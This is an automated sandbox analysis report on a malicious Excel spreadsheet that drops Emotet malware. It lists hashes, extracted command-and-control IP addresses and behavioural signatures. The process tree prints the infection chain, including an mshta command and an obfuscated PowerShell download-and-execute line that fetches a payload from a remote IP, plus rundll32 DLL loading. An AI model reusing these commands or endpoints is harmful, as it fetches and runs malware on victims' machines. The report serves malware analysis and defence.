Analysis
- max time kernel
132s - max time network
139s - platform
windows10_x64 - resource
win10-en-20211208 - submitted
27/01/2022, 18:43
Static task
static1
Behavioral task
behavioral1
Sample
tmpd4kfko8w.xls
Resource
win7-en-20211208
General
- Target tmpd4kfko8w.xls
- Size 154KB
- Sample220127-xczz2shbaj
- SHA256 46b74fac05a7428da03cdcca9dac4b91fa96143e0af71e40a30ff3f0e3d74af9
- MD5 76564b42751c54ca98620803a6ae58a8
- SHA1 9d278113cb79b0f48c36918ae83749ce5cdc36d0
- SHA512 bf613ee9a9fb6a0f30ca8d917e9138c7b0930befb31817b15c5a2c4cbf4922135078efbf2fa04ad14bea2a68a25fc5b326a224c247216583957602f34d34a36b
- MD5 SHA1 SHA512
Malware Config
Extracted
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hta
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hta.dropper
http://91.240.118.168/zqqw/zaas/fe.html
Extracted
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ps1
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ps1.dropper
http://91.240.118.168/zqqw/zaas/fe.png
Extracted
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emotet
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Epoch4
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51.15.4.22:443
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173.214.173.220:8080
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212.237.5.209:443
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192.254.71.210:443
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216.158.226.206:443
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162.243.175.63:443
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212.24.98.99:8080
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58.227.42.236:80
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45.118.115.99:8080
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104.251.214.46:8080
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185.157.82.209:8080
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46.55.222.11:443
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188.40.137.206:8080
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81.0.236.90:443
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103.75.201.2:443
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129.232.188.93:443
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195.154.133.20:443
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159.8.59.82:8080
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79.172.212.216:8080
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138.185.72.26:8080
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200.17.134.35:7080
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185.157.82.211:8080
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209.59.138.75:7080
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178.63.25.185:443
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45.176.232.124:443
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45.118.135.203:7080
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164.68.99.3:8080
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203.114.109.124:443
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212.237.17.99:8080
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50.116.54.215:443
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131.100.24.231:80
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212.237.56.116:7080
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45.142.114.231:8080
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162.214.50.39:7080
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51.38.71.0:443
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104.168.155.129:8080
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107.182.225.142:8080
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217.182.143.207:443
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158.69.222.101:443
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176.104.106.96:8080
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207.38.84.195:8080
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41.76.108.46:8080
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110.232.117.186:8080
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178.79.147.66:8080
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173.212.193.249:8080
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 3116 524 cmd.exe 68 - suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
- Blocklisted process makes network request 4 IoCs
flow pid Process 24 1544 mshta.exe 45 3268 powershell.exe 48 3268 powershell.exe 56 1748 rundll32.exe - Downloads MZ/PE file
- Loads dropped DLL 2 IoCs
pid Process 2108 rundll32.exe 3252 rundll32.exe - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\Ghzar\svyvrhbaod.hoi rundll32.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Program crash 1 IoCs
pid pid_target Process procid_target 4084 1544 WerFault.exe 72 - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE - Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 524 EXCEL.EXE - Suspicious behavior: EnumeratesProcesses 19 IoCs
pid Process 4084 WerFault.exe 4084 WerFault.exe 4084 WerFault.exe 4084 WerFault.exe 4084 WerFault.exe 4084 WerFault.exe 4084 WerFault.exe 4084 WerFault.exe 4084 WerFault.exe 4084 WerFault.exe 4084 WerFault.exe 4084 WerFault.exe 4084 WerFault.exe 4084 WerFault.exe 3268 powershell.exe 3268 powershell.exe 3268 powershell.exe 1748 rundll32.exe 1748 rundll32.exe - Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 4084 WerFault.exe Token: SeDebugPrivilege 3268 powershell.exe - Suspicious use of SetWindowsHookEx 13 IoCs
pid Process 524 EXCEL.EXE 524 EXCEL.EXE 524 EXCEL.EXE 524 EXCEL.EXE 524 EXCEL.EXE 524 EXCEL.EXE 524 EXCEL.EXE 524 EXCEL.EXE 524 EXCEL.EXE 524 EXCEL.EXE 524 EXCEL.EXE 524 EXCEL.EXE 524 EXCEL.EXE - Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 524 wrote to memory of 3116 524 EXCEL.EXE 70 PID 524 wrote to memory of 3116 524 EXCEL.EXE 70 PID 3116 wrote to memory of 1544 3116 cmd.exe 72 PID 3116 wrote to memory of 1544 3116 cmd.exe 72 PID 1544 wrote to memory of 3268 1544 mshta.exe 78 PID 1544 wrote to memory of 3268 1544 mshta.exe 78 PID 3268 wrote to memory of 3492 3268 powershell.exe 81 PID 3268 wrote to memory of 3492 3268 powershell.exe 81 PID 3492 wrote to memory of 2108 3492 cmd.exe 82 PID 3492 wrote to memory of 2108 3492 cmd.exe 82 PID 3492 wrote to memory of 2108 3492 cmd.exe 82 PID 2108 wrote to memory of 3252 2108 rundll32.exe 83 PID 2108 wrote to memory of 3252 2108 rundll32.exe 83 PID 2108 wrote to memory of 3252 2108 rundll32.exe 83 PID 3252 wrote to memory of 1564 3252 rundll32.exe 84 PID 3252 wrote to memory of 1564 3252 rundll32.exe 84 PID 3252 wrote to memory of 1564 3252 rundll32.exe 84 PID 1564 wrote to memory of 1748 1564 rundll32.exe 85 PID 1564 wrote to memory of 1748 1564 rundll32.exe 85 PID 1564 wrote to memory of 1748 1564 rundll32.exe 85
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmpd4kfko8w.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:524 -
C:\Windows\SYSTEM32\cmd.execmd /c mshta http://91.240.118.168/zqqw/zaas/fe.html2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3116 -
C:\Windows\system32\mshta.exemshta http://91.240.118.168/zqqw/zaas/fe.html3⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:1544 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.168/zqqw/zaas/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3268 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,BBDD5⤵
- Suspicious use of WriteProcessMemory
PID:3492 -
C:\Windows\SysWow64\rundll32.exeC:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll,BBDD6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2108 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:3252 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Ghzar\svyvrhbaod.hoi",shfMbxGSxM8⤵
- Suspicious use of WriteProcessMemory
PID:1564 -
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Ghzar\svyvrhbaod.hoi",DllRegisterServer9⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:1748
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C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 1544 -s 16884⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4084
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